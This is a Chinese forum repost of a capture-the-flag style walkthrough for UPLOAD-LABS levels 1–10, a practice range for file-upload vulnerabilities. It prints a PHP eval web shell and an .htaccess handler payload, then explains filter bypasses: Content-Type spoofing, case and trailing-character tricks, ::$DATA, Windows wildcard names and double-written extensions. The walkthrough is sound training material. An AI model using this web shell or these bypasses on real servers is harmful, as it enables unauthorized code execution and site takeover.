XAUT UPLOAD-LABS靶场实战 文件上传弊端 Day2

打印 上一主题 下一主题

主题 862|帖子 862|积分 2586

目录

1.情况配置
2.UPLOAD-LABS 01--10
1.upload-labs01
2.upload-labs02
3.upload-labs03
4.upload-labs04:
5.upload-labs05
6.upload-labs06
7.upload-labs07
8.upload-labs08
9.upload-labs09
10.upload-labs10


1.情况配置

使用phpstudy 2018 搭建靶场


2.UPLOAD-LABS 01--10

简朴一句话木马
  
  1. <?php
  2. phpinfo();
  3. @eval($_POST['pass']);
  4. ?>
复制代码
部分企业不允许上传木马,可用是否有phpinfo();页面查察是否木马上传成功。
  1.upload-labs01

  查察源码:为js代码前端过滤,只允许jpg/png/gif后缀文件
  

  用记事本编辑rsec.txt文件写入一句话木马,改后缀为.jpg上传
  

  burpsuite抓包后改后缀为.php
  

  上传后访问文件上传地点的位置可看到phpinfo();,表示上传成功,如图:
  

  2.upload-labs02

  查察源码,发现白名单只允许content-type固定三种类型的文件上传:
  

  bp抓包后修改Content-Type类型为:
  

  成功后访问文件位置,显示为:
  

  

  3.upload-labs03

  查察源码,可知为绕过黑名单上传:
  


     2)前置条件        上传图⽚时,假如提示不允许 php、asp 这种信息提示,可判断为⿊名单限定,上传⿊名单以        外的后缀名即可;        在 iis ⾥ asp 禁⽌上传了,可以上传 asa cer cdx 这些后缀,如在⽹站⾥允许.net 执⾏可以        上传 ashx 代 替 aspx。假如⽹站可以执⾏这些脚本,通过上传后⻔即可获取 webshell ;在不同的中间件中有特殊的情况,假如在 apache 可以开启 application/x-httpd-php 在    AddType application/x-httpd-php .php .phtml .php3    后缀名为 phtml 、php3 均被解析成 php    有的 apache 版本默认就会开启;    留意本实行必要开启⼀个参数,否则实行失败。    上传⽬标中间件可⽀持的情况的语⾔脚本即可,如.phtml、php3;             关于    AddType    命令的作⽤解释           AddType     指令 作⽤:在给定的⽂件扩展名与特定的内容类型之间建⽴映射 语法:    AddType MIME          type extension           [extension] …           AddType    指令在给定的⽂件扩展名与特定的内容类型之间建⽴映射关系。    MIME-type    指明了包罗    extension    扩展名的⽂件的媒体类型。           AddType     是与类型表相关的,描述的是扩展名与⽂件类型之间的关系。                   可以在httpd.conf⽂件中查察AddType 的设置情况;注:新版的phpstudy貌似没有这个了,实行              的话只能使⽤⽼版的了;            
                       去掉注释符生存重启                     

  4.upload-labs04:

  查察源码为漏过滤了.htaccess文件后缀,文件代码为:
  1. <FilesMatch "jpg">
  2. SetHandler application/x-httpd-php
  3. </FilesMatch>
复制代码
           上传模块,⿊名单过滤了全部的能执⾏的后缀名,假如允许上传.htaccess。htaccess ⽂件的作⽤是可以帮我们实现包罗:⽂件夹暗码保护、⽤户⾃动重定向、⾃界说错误⻚⾯、改变你的⽂           件扩展名、封禁特定 IP 地点的⽤户、只允许特定 IP 地点的⽤户、禁⽌⽬录列表,以及使⽤其           他⽂件作为 index ⽂件等⼀些功能;           在 htaccess ⾥写⼊     SetHandler application/x-httpd-php     则可以⽂件重写成 php ⽂件。           要 htaccess 的规则⽣效 则必要在 apache 开启 rewrite 重写模块,因为 apache 是多数都开           启这个模块,以是规则⼀般都⽣效;           
             直接上传.jpg文件:      

  访问可得:
  

  5.upload-labs05

  查察源码,可使用大写小绕过:
  

  bp抓包修改为.PhP后缀
  

  访问可得:
  

  6.upload-labs06

  查察源码,可知是windows空格弊端,windows自动删除文件后缀空格:
  

  加上空格:
  

  访问可得:
  

  7.upload-labs07

  查察源码,遗漏了删除文件末尾的"."
  

  文件后缀改为.php.
  

  访问可得:
  

  8.upload-labs08

  查察源码可知遗漏过滤“:DATA”
  在window的时候假如文件名+":DATA"会把:DATA之后的数据当成文件流处置惩罚,不会检测后缀名,且保持:DATA之前的文件名,他的目标就是不查抄后缀名
  比方:"phpinfo.php:DATA"Windows会自动去掉末尾的:DATA变成"phpinfo.php"
  

  查察可知:
  

  9.upload-labs09

  使用windows 情况的叠加特征原理
     在 windwos 中假如上传⽂件名    rsec9.php:.jpg    的时候,会在⽬录下⽣产空⽩的⽂件名   rsec9.php   ;        
      
       再利⽤ php 和 windows 情况的叠加属性写⼊内容;        以下符号在正则匹配时相等:        ●    双引号   "    便是 点号   .        ●    ⼤于符号   >    便是 问号   ?        ●    ⼩于符号   <    便是 星号   *        ●    ⽂件名   .<   或⽂件名   .<<<   或⽂件名   .>>>             利⽤ windows 情况的叠加特征绕过上传攻击           提交数据包中将内容写⼊⽂件名    rsec9.>>>     中,>>>类似通配符匹配到rsec9.php         
          访问可知:         
             10.upload-labs10

  查察源码可知,在上传模块,有的代码会把⿊名单的后缀名替换成空,比方 a.php 会把 php 替换成空,但 是可以使⽤双写绕过比方 asaspp,pphphp,即可绕过上传;同样是⿊名单过滤。str_ireplace 对上传的后缀名是⿊名单内的字符串转换成空;
  

  访问可知:
  


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

天津储鑫盛钢材现货供应商

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表